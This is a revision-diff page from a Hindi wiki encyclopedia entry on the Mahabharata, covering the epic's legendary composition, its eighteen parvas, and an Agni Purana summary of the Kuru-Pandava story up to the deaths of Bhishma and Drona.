Difference between revisions of "महाभारत"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Adding category Category:हिन्दू धर्म ग्रंथ (को हटा दिया गया हैं।))
m (Text replacement - "विद्वान " to "विद्वान् ")
 
(9 intermediate revisions by 3 users not shown)
Line 1: Line 1:
[[चित्र:krishna-arjun1.jpg|thumb|250px|[[कृष्ण]] और [[अर्जुन]]<br /> Krishna And Arjuna]]
+
{{सूचना बक्सा संक्षिप्त परिचय
'''महाभारत''' [[हिन्दू|हिन्दुओं]] का एक प्रमुख काव्य [[ग्रंथ]] है, जो [[हिन्दू धर्म]] के उन धर्म-ग्रन्थों का समूह है, जिनकी मान्यता श्रुति से नीची श्रेणी की हैं और जो मानवों द्वारा उत्पन्न थे। कभी कभी सिर्फ़ 'भारत' कहा जाने वाला यह काव्य-ग्रंथ [[भारत]] का अनुपम, धार्मिक, पौराणिक, ऐतिहासिक और दार्शनिक ग्रंथ है।
+
|चित्र=krishna-arjun1.jpg
 +
|चित्र का नाम=कृष्ण और अर्जुन
 +
|विवरण='महाभारत' [[भारत]] का अनुपम, धार्मिक, पौराणिक, ऐतिहासिक और दार्शनिक [[ग्रंथ]] है। यह [[हिन्दू धर्म]] के मुख्यतम ग्रंथों में से एक है। यह विश्व का सबसे लम्बा साहित्यिक ग्रंथ है।
 +
|शीर्षक 1=रचयिता
 +
|पाठ 1=[[वेदव्यास]]
 +
|शीर्षक 2=लेखक
 +
|पाठ 2=[[गणेश|भगवान गणेश]]<ref>वेदव्यासजी श्लोकों का उच्चारण करते जाते थे, जिन्हें भगवान श्रीगणेश ने लिखा।</ref>
 +
|शीर्षक 3=भाषा
 +
|पाठ 3=संस्कृत
 +
|शीर्षक 4=मुख्य पात्र
 +
|पाठ 4=[[कृष्ण|श्रीकृष्ण]], [[भीष्म]], [[अर्जुन]], [[द्रोण]], [[कर्ण]], [[दुर्योधन]], [[अभिमन्यु]], [[धृतराष्ट्र]], [[युधिष्ठिर]], [[द्रौपदी]], [[शकुनि]], [[कुंती]], [[गांधारी]], [[विदुर]] आदि।
 +
|शीर्षक 5=18 पर्व
 +
|पाठ 5=[[आदि पर्व महाभारत|आदिपर्व]], [[सभा पर्व महाभारत|सभापर्व]], [[वन पर्व महाभारत|वनपर्व]], [[विराट पर्व महाभारत|विराटपर्व]], [[उद्योग पर्व महाभारत|उद्योगपर्व]], [[भीष्म पर्व महाभारत|भीष्मपर्व]], [[द्रोण पर्व महाभारत|द्रोणपर्व]], [[आश्वमेधिक पर्व महाभारत|आश्वमेधिकपर्व]], [[महाप्रास्थानिक पर्व महाभारत|महाप्रास्थानिकपर्व]], [[सौप्तिक पर्व महाभारत|सौप्तिकपर्व]], [[स्त्री पर्व महाभारत|स्त्रीपर्व]], [[शान्ति पर्व महाभारत|शान्तिपर्व]], [[अनुशासन पर्व महाभारत|अनुशासनपर्व]], [[मौसल पर्व महाभारत|मौसलपर्व]], [[कर्ण पर्व महाभारत|कर्णपर्व]], [[शल्य पर्व महाभारत|शल्यपर्व]], [[स्वर्गारोहण पर्व महाभारत|स्वर्गारोहणपर्व]], [[आश्रमवासिक पर्व महाभारत|आश्रमवासिकपर्व]]
 +
|शीर्षक 6=श्लोक संख्या
 +
|पाठ 6=एक लाख से अधिक
 +
|शीर्षक 7=लोकप्रियता
 +
|पाठ 7=[[भारत]], [[नेपाल]], इण्डोनेशिया, [[श्रीलंका]], [[जावा द्वीप]], [[थाइलैंड]], [[तिब्बत]], [[म्यांमार]] आदि देशों में महाभारत बहुत लोकप्रिय है।
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=[[गीता]], [[कृष्ण|श्रीकृष्ण]], [[पाण्डव]], [[कौरव]], [[अर्जुन]], [[इन्द्रप्रस्थ]], [[हस्तिनापुर]], [[अज्ञातवास]], [[द्रौपदी चीरहरण]], [[शिशुपाल|शिशुपाल वध]], [[अश्वमेध यज्ञ]], [[अक्षौहिणी]]
 +
|अन्य जानकारी=अनुमान किया जाता है कि 'महाभारत' में वर्णित '[[कुरु वंश]]' 1200 से 800 ईसा पूर्व के दौरान शक्ति में रहा होगा। पौराणिक मान्यता को देखें तो पता लगता है कि [[अर्जुन]] के पोते<ref>पुत्र के पुत्र</ref> [[परीक्षित]] और महापद्मनंद का काल 382 ईसा पूर्व ठहरता है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
  
*यह हिन्दू धर्म के मुख्यतम ग्रंथों में से यह एक है। यह विश्व का सबसे लंबा साहित्यिक ग्रंथ है, हालाँकि इसे [[साहित्य]] की सबसे अनुपम कॄतियों में से एक माना जाता है, किन्तु आज भी यह प्रत्येक भारतीय के लिये एक अनुकरणीय स्रोत है।
+
'''महाभारत''' [[हिन्दू|हिन्दुओं]] का प्रमुख काव्य [[ग्रंथ]] है, जो [[हिन्दू धर्म]] के उन धर्म-ग्रन्थों का समूह है, जिनकी मान्यता श्रुति से नीची श्रेणी की हैं और जो मानवों द्वारा उत्पन्न थे। कभी-कभी सिर्फ़ 'भारत' कहा जाने वाला यह काव्य-ग्रंथ [[भारत]] का अनुपम, धार्मिक, पौराणिक, ऐतिहासिक और दार्शनिक ग्रंथ है। यह हिन्दू धर्म के मुख्यतम ग्रंथों में से एक है। यह विश्व का सबसे लंबा साहित्यिक ग्रंथ है, हालाँकि इसे [[साहित्य]] की सबसे अनुपम कृतियों में से एक माना जाता है, किन्तु आज भी यह प्रत्येक भारतीय के लिये एक अनुकरणीय स्रोत है।
*यह कृति हिन्दुओं के इतिहास की एक गाथा है। पूरे महाभारत में एक लाख [[श्लोक]] हैं। विद्वानों में महाभारत काल को लेकर विभिन्न मत हैं, फिर भी अधिकतर विद्वान महाभारत काल को 'लौहयुग' से जोड़ते हैं।
+
==हिन्दू इतिहास गाथा==
*अनुमान किया जाता है कि महाभारत में वर्णित '[[कुरु वंश]]' 1200 से 800 ईसा पूर्व के दौरान शक्ति में रहा होगा। पौराणिक मान्यता को देखें तो पता लगता है कि [[अर्जुन]] के पोते (पुत्र के पुत्र) [[परीक्षित]] और [[महापद्मनंद]] का काल 382 ईसा पूर्व ठहरता है।
+
यह कृति हिन्दुओं के इतिहास की एक गाथा है। पूरे 'महाभारत' में एक लाख श्लोक हैं। विद्वानों में महाभारत काल को लेकर विभिन्न मत हैं, फिर भी अधिकतर विद्वान् महाभारत काल को 'लौहयुग' से जोड़ते हैं। अनुमान किया जाता है कि महाभारत में वर्णित '[[कुरु वंश]]' 1200 से 800 ईसा पूर्व के दौरान शक्ति में रहा होगा। पौराणिक मान्यता को देखें तो पता लगता है कि [[अर्जुन]] के पोते [[परीक्षित]] और महापद्मनंद का काल 382 ईसा पूर्व ठहरता है।
 
==महाकाव्य का लेखन==
 
==महाकाव्य का लेखन==
महाभारत में इस प्रकार का उल्लेख आया है कि [[वेदव्यास]] ने [[हिमालय]] की तलहटी की एक पवित्र गुफ़ा में तपस्या में संलग्न तथा [[ध्यान]] योग में स्थित होकर महाभारत की घटनाओं का आदि से अन्त तक स्मरण कर मन ही मन में महाभारत की रचना कर ली। परन्तु इसके पश्चात उनके सामने एक गंभीर समस्या आ खड़ी हुई कि इस [[महाकाव्य]] के ज्ञान को सामान्य जन साधारण तक कैसे पहुँचाया जाये, क्योंकि इसकी जटिलता और लम्बाई के कारण यह बहुत कठिन था कि कोई इसे बिना कोई गलती किए वैसा ही लिख दे, जैसा कि वे बोलते जाएँ। इसलिए [[ब्रह्मा]] के कहने पर व्यास भगवान [[गणेश]] के पास पहुँचे। गणेश लिखने को तैयार हो गये, किंतु उन्होंने एक शर्त रख दी कि कलम एक बार उठा लेने के बाद काव्य समाप्त होने तक वे बीच में रुकेंगे नहीं। व्यासजी जानते थे कि यह शर्त बहुत कठनाईयाँ उत्पन्न कर सकती हैं। अतः उन्होंने भी अपनी चतुरता से एक शर्त रखी कि कोई भी [[श्लोक]] लिखने से पहले गणेश को उसका अर्थ समझना होगा। गणेश ने यह प्रस्ताव स्वीकार कर लिया। इस तरह व्यास बीच-बीच में कुछ कठिन श्लोकों को रच देते। जब गणेश उनके अर्थ पर विचार कर रहे होते उतने समय में ही व्यास जी कुछ और नये श्लोक रच देते। इस प्रकार सम्पूर्ण महाभारत तीन वर्षों के अन्तराल में लिखी गयी। वेदव्यास ने सर्वप्रथम पुण्यकर्मा मानवों के उपाख्यानों सहित एक लाख श्लोकों का आद्य भारत ग्रंथ बनाया। तदन्तर उपाख्यानों को छोड़कर चौबीस हज़ार श्लोकों की भारत संहिता बनायी। तत्पश्चात व्यास जी ने साठ लाख श्लोकों की एक दूसरी संहिता बनायी, जिसके तीस लाख श्लोक देवलोक में, पंद्रह लाख पितृलोक में तथा चौदह लाख श्लोक गन्धर्वलोक में समादृत हुए। मनुष्यलोक में एक लाख श्लोकों का आद्य भारत प्रतिष्ठित हुआ। महाभारत ग्रंथ की रचना पूर्ण करने के बाद वेदव्यास ने सर्वप्रथम अपने पुत्र शुकदेव को इस [[ग्रंथ]] का अध्ययन कराया।
+
'महाभारत' में इस प्रकार का उल्लेख आया है कि [[वेदव्यास]] ने [[हिमालय]] की तलहटी की एक पवित्र गुफ़ा में तपस्या में संलग्न तथा ध्यान योग में स्थित होकर महाभारत की घटनाओं का आदि से अन्त तक स्मरण कर मन ही मन में महाभारत की रचना कर ली थी, परन्तु इसके पश्चात् उनके सामने एक गंभीर समस्या आ खड़ी हुई कि इस महाकाव्य के ज्ञान को सामान्य जन साधारण तक कैसे पहुँचाया जाये, क्योंकि इसकी जटिलता और लम्बाई के कारण यह बहुत कठिन कार्य था कि कोई इसे बिना किसी त्रुटि के वैसा ही लिख दे, जैसा कि वे बोलते जाएँ। इसलिए [[ब्रह्मा]] के कहने पर [[व्यास]] [[गणेश|भगवान गणेश]] के पास पहुँचे। गणेश लिखने को तैयार हो गये, किंतु उन्होंने एक शर्त रख दी कि कलम एक बार उठा लेने के बाद काव्य समाप्त होने तक वे बीच में रुकेंगे नहीं। व्यासजी जानते थे कि यह शर्त बहुत कठनाईयाँ उत्पन्न कर सकती हैं। {{बाँयाबक्सा|पाठ='''महाभारत शांति पर्व अध्याय-82:'''<br />
 +
[[कृष्ण]]:-<br />
 +
हे देवर्षि ! जैसे पुरुष अग्नि की इच्छा से अरणी काष्ठ मथता है; वैसे ही उन जाति-लोगों के कहे हुए कठोर वचन से मेरा हृदय सदा मथता तथा जलता हुआ रहता है ॥6॥<br />
 +
हे नारद ! बड़े भाई [[बलराम]] सदा बल से, गद सुकुमारता से और [[प्रद्युम्न]] रूप से मतवाले हुए है; इससे इन सहायकों के होते हुए भी मैं असहाय हुआ हूँ। ॥7॥
 +
'''आगे पढ़ें''':-[[कृष्ण नारद संवाद]]}}अतः उन्होंने भी अपनी चतुरता से एक शर्त रखी कि कोई भी श्लोक लिखने से पहले गणेश को उसका अर्थ समझना होगा। गणेश ने यह प्रस्ताव स्वीकार कर लिया। इस तरह व्यास बीच-बीच में कुछ कठिन श्लोकों को रच देते। जब गणेश उनके अर्थ पर विचार कर रहे होते, उतने समय में ही व्यासजी कुछ और नये श्लोक रच देते। इस प्रकार सम्पूर्ण महाभारत तीन वर्षों के अन्तराल में लिखी गयी।
 +
 
 +
[[वेदव्यास]] ने सर्वप्रथम पुण्यकर्मा मानवों के उपाख्यानों सहित एक लाख श्लोकों का आद्य भारत ग्रंथ बनाया। तदन्तर उपाख्यानों को छोड़कर चौबीस हज़ार श्लोकों की 'भारतसंहिता' बनायी। तत्पश्चात् व्यासजी ने साठ लाख श्लोकों की एक दूसरी संहिता बनायी, जिसके तीस लाख श्लोक देवलोक में, पंद्रह लाख पितृलोक में तथा चौदह लाख [[श्लोक]] गन्धर्वलोक में समादृत हुए। मनुष्यलोक में एक लाख श्लोकों का आद्य भारत प्रतिष्ठित हुआ। महाभारत ग्रंथ की रचना पूर्ण करने के बाद वेदव्यास ने सर्वप्रथम अपने पुत्र [[शुकदेव]] को इस ग्रंथ का अध्ययन कराया।
 
==महाभारत के पर्व==
 
==महाभारत के पर्व==
महाभारत की मूल अभिकल्पना में अठारह की संख्या का विशिष्ट योग है। [[कौरव]] और [[पाण्डव]] पक्षों के मध्य हुए युद्ध की अवधि अठारह दिन थी। दोनों पक्षों की सेनाओं का सम्मिलित संख्याबल भी अठ्ठारह अक्षौहिणी था। इस युद्ध के प्रमुख सूत्रधार भी अठ्ठारह है।<ref>[[धृतराष्ट्र]], [[दुर्योधन]], [[दु:शासन]], [[कर्ण]], [[शकुनि]], [[भीष्म]], [[द्रोण]], [[कृपाचार्य]], [[अश्वत्थामा]], [[कृतवर्मा]], [[श्रीकृष्ण]], [[युधिष्ठर]], [[भीम]], [[अर्जुन]], [[नकुल]], [[सहदेव]], [[द्रौपदी]] और [[विदुर]]।</ref> महाभारत की प्रबन्ध योजना में सम्पूर्ण ग्रन्थ को अठारह पर्वों में विभक्त किया गया है और महाभारत में भीष्म पर्व के अन्तर्गत वर्णित श्रीमद्भगवद्गीता में भी अठारह अध्याय हैं।<br />
+
महाभारत की मूल अभिकल्पना में अठारह की संख्या का विशिष्ट योग है। [[कौरव]] और [[पाण्डव]] पक्षों के मध्य हुए युद्ध की अवधि अठारह दिन थी। दोनों पक्षों की सेनाओं का सम्मिलित संख्याबल भी अठ्ठारह अक्षौहिणी था। इस युद्ध के प्रमुख सूत्रधार भी अठ्ठारह थे।<ref>[[धृतराष्ट्र]], [[दुर्योधन]], [[दु:शासन]], [[कर्ण]], [[शकुनि]], [[भीष्म]], [[द्रोण]], [[कृपाचार्य]], [[अश्वत्थामा]], [[कृतवर्मा]], [[श्रीकृष्ण]], [[युधिष्ठर]], [[भीम]], [[अर्जुन]], [[नकुल]], [[सहदेव]], [[द्रौपदी]] और [[विदुर]]।</ref> महाभारत की प्रबन्ध योजना में सम्पूर्ण ग्रन्थ को अठारह पर्वों में विभक्त किया गया है और महाभारत में 'भीष्म पर्व' के अन्तर्गत वर्णित 'श्रीमद्भगवद्गीता' में भी अठारह अध्याय हैं।
सम्पूर्ण महाभारत अठारह पर्वों में विभक्त है ‘पर्व’ का मूलार्थ है- गाँठ या जोड़।<ref>वी.एस. आप्टे: संस्कृत-हिन्दी-कोश, पृ. 595</ref> पूर्व कथा को उत्तरवर्ती कथा से जोड़ने के कारण महाभारत के विभाजन का यह नामकरण यथार्थ है। इन पर्वों का नामकरण, उस कथानक के महत्त्वपूर्ण पात्र या घटना के आधार पर किया जाता है। मुख्य पर्वों में प्राय: अन्य भी कई पर्व हैं। (सम्पूर्ण महाभारत में ऐसे पर्वों की कुल संख्या 100 है) इन पर्वों का पुनर्विभाजन अध्यायों में किया गया है। पर्वों और अध्यायों का आकार असमान है। कई पर्व बहुत बड़े हैं और कई पर्व बहुत छोटे हैं। अध्यायों में भी श्लोकों की संख्या अनियत  है। किन्हीं अध्यायों में पचास से भी कम श्लोक हैं और किन्हीं-किन्हीं में संख्या दो सौ से भी अधिक है। मुख्य अठारह पर्वों के नाम इस प्रकार हैं:<br />
 
{{महाभारत के पर्व}}
 
  
{{दाँयाबक्सा|पाठ='''महाभारत शांति पर्व अध्याय-82:'''<br />
+
सम्पूर्ण महाभारत अठारह पर्वों में विभक्त है। ‘पर्व’ का मूलार्थ है- "गाँठ या जोड़"।<ref>वी.एस. आप्टे: संस्कृत-हिन्दी-कोश, पृ. 595</ref> पूर्व कथा को उत्तरवर्ती कथा से जोड़ने के कारण महाभारत के विभाजन का यह नामकरण यथार्थ है। इन पर्वों का नामकरण, उस कथानक के महत्त्वपूर्ण पात्र या घटना के आधार पर किया जाता है। मुख्य पर्वों में प्राय: अन्य भी कई पर्व हैं।<ref>सम्पूर्ण महाभारत में ऐसे पर्वों की कुल संख्या 100 हैं।</ref> इन पर्वों का पुनर्विभाजन अध्यायों में किया गया है। पर्वों और अध्यायों का आकार असमान है। कई पर्व बहुत बड़े हैं और कई पर्व बहुत छोटे हैं। अध्यायों में भी श्लोकों की संख्या अनियत है। किन्हीं अध्यायों में पचास से भी कम श्लोक हैं और किन्हीं-किन्हीं में संख्या दो सौ से भी अधिक है। मुख्य अठारह पर्वों के नाम इस प्रकार हैं-
[[कृष्ण]]:-
 
  
हे देवर्षि ! जैसे पुरुष [[अग्नि]] की इच्छा से [[अरणी]] काष्ठ मथता है; वैसे ही उन जाति-लोगों के कहे हुए कठोर वचन से मेरा [[हृदय]] सदा मथता तथा जलता हुआ रहता है ॥6॥
+
{{महाभारत के पर्व}}
 
 
हे नारद ! बड़े भाई [[बलराम]] सदा बल से, गद सुकुमारता से और प्रद्युम्न रूप से मतवाले हुए है; इससे इन सहायकों के होते हुए भी मैं असहाय हुआ हूँ। ॥7॥
 
'''आगे पढ़ें''':-[[कृष्ण नारद संवाद]]}}
 
लक्षश्लोकात्मक महाभारत की सम्पूर्ति के लिए इन अठारह पर्वों के पश्चात ‘खिलपर्व’ के रूप में ‘[[हरिवंश पुराण]]’ की योजना की गयी है। हरिवंश पुराण में 3 पर्व हैं-<br />
 
*हरिवंश पर्व,
 
*विष्णु पर्व,
 
*भविष्य पर्व।
 
इन तीनों पर्वों में कुल मिलाकर 318 अध्याय और 12,000 श्लोक हैं। महाभारत का पूरक तो यह है ही, स्वतन्त्र रूप से भी इसका विशिष्ट महत्त्व है। सन्तान-प्राप्ति के लिए हरिवंश पुराण का श्रवण लाभदायक माना गया है।
 
==अग्नि पुराण "महाभारत"==
 
'[[अग्नि पुराण]] में महाभारत की संक्षिप्त कथा'
 
[[चित्र:Jarasandh1.jpg|[[भीम (पाण्डव)|भीम]]-[[जरासंध]] युद्ध|thumb]]
 
[[अग्निदेव]] कहते हैं- अब मैं [[कृष्ण|श्रीकृष्ण]] की महिमा को लक्षित कराने वाला महाभारत का उपाख्यान सुनाता हूँ, जिसमें श्रीहरि ने [[पाण्डव|पाण्डवों]] को निमित्त बनाकर इस [[पृथ्वी देवी|पृथ्वी]] का भार उतारा था। भगवान् [[विष्णु]] के नाभिकमल से [[ब्रह्मा|ब्रह्माजी]] उत्पन्न हुए। ब्रह्माजी से [[अत्रि]], अत्रि से [[चंद्र देवता|चन्द्रमा]], चन्द्रमा से [[बुध देवता|बुध]] और बुध से [[इला]]नन्दन [[पुरूरवा]] का जन्म हुआ। पुरूरवा से आयु, [[आयु]] से राजा [[नहुष]] और नहुष से [[ययाति]] उत्पन्न हुए। ययाति से [[पुरू]] हुए। पूरू के वंश में भरत और भरत के कुल में राजा [[कुरु वंश|कुरु]] हुए। कुरु के वंश में [[शान्तनु]] का जन्म हुआ।
 
 
 
शान्तनु से गंगानन्दन [[भीष्म]] उत्पन्न हुए। उनके दो छोटे भाई और थे-चित्रांगद और विचित्रवीर्य। ये शान्तनु से [[सत्यवती]] के गर्भ से उत्पन्न हुए थे। शान्तनु के स्वर्गलोक चले जाने पर भीष्म ने अविवाहित रह कर अपने भाई विचित्रवीर्य के राज्य का पालन किया। चित्रांगद बाल्यावस्था में ही चित्रांगद नाम वाले [[गन्धर्व]] के द्वारा मारे गये। फिर भीष्म संग्राम में विपक्षी को परास्त करके [[काशिराज]] की दो कन्याओं- अम्बिका और अम्बालिका को हर लाये। वे दोनों विचित्रवीर्य की भार्याएँ हुईं। कुछ काल के बाद राजा विचित्रवीर्य राजयक्ष्मा से ग्रस्त हो स्वर्गवासी हो गये। तब सत्यवती की अनुमति से व्यासजी के द्वारा अम्बिका के गर्भ से राजा धृतराष्ट्र और अम्बालिका के गर्भ से पाण्डु उत्पन्न हुए। [[धृतराष्ट्र]] ने गान्धारी के गर्भ से सौ पुत्रों को जन्म दिया, जिनमें [[दुर्योधन]] सबसे बड़ा था।
 
 
 
 
 
राजा [[पाण्डु]] वन में रहते थे। वे एक ऋषि के शाप वश शतश्रृंग मुनि के आश्रम के पास स्त्रीसमागम के कारण मृत्यु को प्राप्त हुए। (पाण्डु शाप के ही कारण स्त्री-सम्भोग से दूर रहते थे,) इसलिये उनकी आज्ञा के अनुसार कुन्ती के गर्भ से धर्म के अंश से युधिष्ठिर का जन्म हुआ। [[वायु देव|वायु]] से भीम और इन्द्र से अर्जुन उत्पन्न हुए। पाण्डु की दूसरी पत्नी माद्री के गर्भ से [[अश्विनीकुमार|अश्विनीकुमारों]] के अंश से नकुल-सहदेव का जन्म हुआ। (शापवश) एक दिन [[माद्री]] के साथ सम्भोग होने से पाण्डु की मृत्यु हो गयी और माद्री भी उनके साथ सती हो गयी। जब [[कुन्ती]] का विवाह नहीं हुआ था, उसी समय ([[सूर्य देवता|सूर्य]] के अंश से) उनके गर्भ से [[कर्ण]] का जन्म हुआ था। वह दुर्योधन के आश्रय में रहता था। दैवयोग से कौरवों और पाण्डवों में वैर की आग प्रज्वलित हो उठी। दुर्योधन बड़ी खोटी बुद्धि का मनुष्य था। उसने लाक्षा के बने हुए धर में पाण्डवों को रखकर आग लगाकर उन्हें जलाने का प्रयत्न किया, किन्तु पाँचों पाण्डव अपनी माता के साथ उस जलते हुए घर से बाहर निकल गये। वहाँ से [[एकचक्रा]] नगरी में जाकर वे मुनि के वेष में एक [[ब्राह्मण]] के घर में निवास करने लगे। फिर बक नामक राक्षस का वध करके वे [[पांचाल]]-राज्य में, जहाँ [[द्रौपदी]] का स्वयंवर होनेवाला था, गये। वहाँ अर्जुन के बाहुबल से मत्स्यभेद होने पर पाँचों पाण्डवों ने द्रौपदी को पत्नीरूप में प्राप्त किया। तत्पश्चात दुर्योधन आदि को उनके जीवित होने का पता चलने पर उन्होंने कौरवों से अपना आधा राज्य भी प्राप्त कर लिया। अर्जुन ने [[अग्निदेव]] से दिव्य गाण्डीव धनुष और उत्तम रथ प्राप्त किया था। उन्हें युद्ध में भगवान् कृष्ण-जैसे सारथि मिले थे तथा उन्होंने आचार्य द्रोण से ब्रह्मास्त्र आदि दिव्य आयुध और कभी नष्ट न होने वाले बाण प्राप्त किये थे। सभी पाण्डव सब प्रकार की विद्याओं में प्रवीण थे
 
==पाण्डवों का वनवास==
 
पाण्डुकुमार अर्जुन ने श्रीकृष्ण के साथ खाण्डववन  में [[इन्द्र]] के द्वारा की हुई वृष्टि का अपने बाणों की (छत्राकार) बाँध से निवारण करते हुए अग्नि को तृप्त किया था।[[चित्र:Bhishma1.jpg|thumb|left|महाभारत युद्ध में [[भीष्म]] [[कृष्ण]] की प्रतिज्ञा भंग करवाते हुए]] पाण्डवों ने सम्पूर्ण दिशाओं पर विजय पायीं युधिष्ठिर राज्य करने लगे। उन्होंने प्रचुर सुवर्णराशि से परिपूर्ण [[राजसूय यज्ञ]] का अनुष्ठान किया। उनका यह वैभव दुर्योधन के लिये असह्य हो उठा। उसने अपने भाई [[दु:शासन]] और वैभव प्राप्त सुहृद् कर्ण के कहने से [[शकुनि]] को साथ ले, द्यूत-सभा में जूए में प्रवृत्त होकर, [[युधिष्ठिर]] और उनके राज्य को कपट-द्यूत के द्वारा हँसते-हँसते जीत लिया। जूए में परास्त होकर युधिष्ठिर अपने भाइयों के साथ वन में चले गये। वहाँ उन्होंने अपनी प्रतिज्ञा के अनुसार बारह वर्ष व्यतीत किये। वे वन में भी पहले ही की भाँति प्रतिदिन बहुसंख्यक ब्राह्मणों को भोजन कराते थे। (एक दिन उन्होंने) अठासी हज़ार द्विजोंसहित [[दुर्वासा]] को (श्रीकृष्ण-कृपा से) परितृप्त किया। वहाँ उनके साथ उनकी पत्नी द्रौपदी और पुरोहित धौम्यजी भी थे।
 
 
 
बारहवाँ वर्ष बीतने पर वे [[विराट नगर]] में गये। वहाँ युधिष्ठिर सबसे अपरिचित रहकर '[[कंक]]' नामक ब्राह्मण के रूप में रहने लगे। भीमसेन रसोइया बने थे। अर्जुन ने अपना नाम '[[बृहन्नला]]' रखा था। पाण्डव पत्नी द्रौपदी रनिवास  में सैरन्ध्री के रूप में रहने लगी। इसी प्रकार [[नकुल]]-[[सहदेव]] ने भी अपने नाम बदल लिये थे। भीमसेन ने रात्रिकाल में द्रौपदी का सतीत्व-हरण करने की इच्छा रखने वाले [[कीचक]] को मार डाला। तत्पश्चात कौरव विराट की गौओं को हरकर ले जाने लगे, तब उन्हें अर्जुन ने परास्त किया। उस समय कौरवों ने पाण्डवों को पहचान लिया। श्रीकृष्ण की बहिन [[सुभद्रा]] ने अर्जुन से [[अभिमन्यु]] नामक पुत्र को उत्पन्न किया था उसे राजा विराट ने अपनी कन्या उत्तरा ब्याह दी।
 
==श्रीकृष्ण बने दूत==
 
[[चित्र:Krishna-Arjuna.jpg|thumb|महाभारत के युद्ध में [[अर्जुन]] को समझाते हुये [[श्रीकृष्ण]]]]
 
धर्मराज युधिष्ठिर सात अक्षौहिणी सेना के स्वामी होकर कौरवों के साथ युद्ध करने को तैयार हुए। पहले भगवान् श्रीकृष्ण परम क्रोधी दुर्योधन के पास दूत बनकर गये। उन्होंने ग्यारह [[अक्षौहिणी]] सेना के स्वामी राजा दुर्योधन से कहा-
 
 
 
'राजन्! तुम युधिष्ठिर को आधा राज्य दे दो या उन्हें पाँच ही गाँव अर्पित कर दो; नहीं तो उनके साथ युद्ध करो।'
 
 
 
श्रीकृष्ण की बात सुनकर दुर्योधन ने कहा- 'मैं उन्हें सुई की नोक के बराबर भूमि भी नहीं दूँगा; हाँ, उनसे युद्ध अवश्य करूँगा।'
 
 
 
ऐसा कहकर वह भगवान् श्रीकृष्ण को बंदी बनाने के लिये उद्यत हो गया। उस समय राजसभा में भगवान् श्रीकृष्ण ने अपने परम दुर्धर्ष विश्वरूप का दर्शन कराकर दुर्योधन को भयभीत कर दिया। फिर [[विदुर]] ने अपने घर ले जाकर भगवान् का पूजन और सत्कार किया। तदनन्तर वे युधिष्ठिर के पास लौट गये और बोले-'महाराज! आप दुर्योधन के साथ युद्ध कीजिये।'
 
==कौरव-पाण्डवों का युद्ध तथा परिणाम==
 
'''अग्निदेव कहते हैं'''- युधिष्ठिर और दुर्योधन की सेनाएँ [[कुरुक्षेत्र]] के मैदान में जा डटीं। अपने विपक्ष में पितामह भीष्म तथा आचार्य [[द्रोणाचार्य|द्रोण]] आदि गुरुजनों को देखकर अर्जुन युद्ध से विरत हो गये, तब भगवान् श्रीकृष्ण ने उनसे कहा-"पार्थ! भीष्म आदि गुरुजन शोक के योग्य नहीं हैं।[[चित्र:Dronacharya.jpg|thumb|left|[[धृष्टद्युम्न]] द्वारा [[द्रोणाचार्य]] वध]] मनुष्य का शरीर विनाशशील है, किंतु आत्मा का कभी नाश नहीं होता। यह आत्मा ही परब्रह्म है।
 
 
 
'मैं ब्रह्म हूँ'- इस प्रकार तुम उस आत्मा को समझो। कार्य की सिद्धि और असिद्धि में समानभाव से रहकर कर्मयोग का आश्रय ले क्षात्रधर्म का पालन करो।"
 
 
 
श्रीकृष्ण के ऐसा कहने पर अर्जुन रथारूढ़ हो युद्ध में प्रवृत्त हुए। उन्होंने शंखध्वनि की। दुर्योधन की सेना में सबसे पहले पितामह [[भीष्म]] सेनापति हुए तथा पाण्डवों की ओर से राजा [[द्रुपद]] के पुत्र [[धृष्टद्युम्न]] सेनापति नियुक्त किये गये। दोनों सेनापतियों में भारी युद्ध छिड़ गया। भीष्म सहित [[कौरव]] पक्ष के योद्धा इस युद्ध में पाण्डव-पक्ष के सैनिकों पर प्रहार करने लगे तथा धृष्टद्युम्न और पाण्डव पक्ष के वीर कौरव-सैनिकों को अपने बाणों का निशाना बनाने लगे।<br />
 
कौरव और पाण्डव-सेना का वह युद्ध, देवासुर-संग्राम के समान जान पड़ता था। आकाश में खड़े होकर देखने वाले [[देवता|देवताओं]] को वह युद्ध बड़ा आनन्ददायक प्रतीत हो रहा था। भीष्म ने दस दिनों तक युद्ध करके पाण्डवों की अधिकांश सेना को अपने बाणों से मार गिराया।
 
==भीष्म-द्रोण वध==
 
दसवें दिन अर्जुन ने वीरवर भीष्म पर बाणों की बड़ी भारी वृष्टि की। इधर [[द्रुपद]] की प्रेरणा से शिखण्डी ने भी पानी बरसाने वाले मेघ की भाँति भीष्म पर बाणों की झड़ी लगा दी। दोनों ओर के हाथीसवार, घुड़सवार, रथी और पैदल एक-दूसरे के बाणों से मारे गये। भीष्म की मृत्यु उनकी इच्छा के अधीन थी। उन्होंने युद्ध का मार्ग दिखाकर वसु-देवता के कहने पर वसुलोक में जाने की तैयारी की और बाणशय्या पर सो रहे। वे उत्तरायण की प्रतीक्षा में भगवान् विष्णु का ध्यान और स्तवन करते हुए समय व्यतीत करने लगे। भीष्म के बाण-शय्या पर गिर जाने के बाद जब दुर्योधन शोक से व्याकुल हो उठा, तब आचार्य द्रोण ने सेनापतित्व का भार ग्रहण किया। अब द्रोणाचार्य तथा धृष्टद्युम्न के सेनापतित्व में बड़ा भयंकर युद्ध हुआ, जो यमलोक की आबादी को बढ़ाने वाला था। विराट और द्रुपद आदि राजा द्रोणरूपी समुद्र में डूब गये। हाथी, घोड़े, रथ और पैदल सैनिकों से युक्त दुर्योधन की विशाल वाहिनी धृष्टद्युम्न के हाथ से मारी जाने लगी। इस समय युद्ध में द्रोण भी काल के समान जान पड़ते थे। इतने ही में उनके कानों में यह आवाज़ आयी कि 'अश्वत्थामा मारा गया'। इतना सुनते ही आचार्य द्रोण ने [[अस्त्र शस्त्र]] त्याग दिये। ऐसे समय में ही धृष्टद्युम्न ने अपनी तलवार के एक ही वार से द्रोणाचार्य की गर्दन काट ली।
 
==कर्ण और अर्जुन==
 
[[चित्र:Bhim-Dushasan.jpg|thumb|[[भीम (पाण्डव)|भीम]] द्वारा दु:शासन वध]]
 
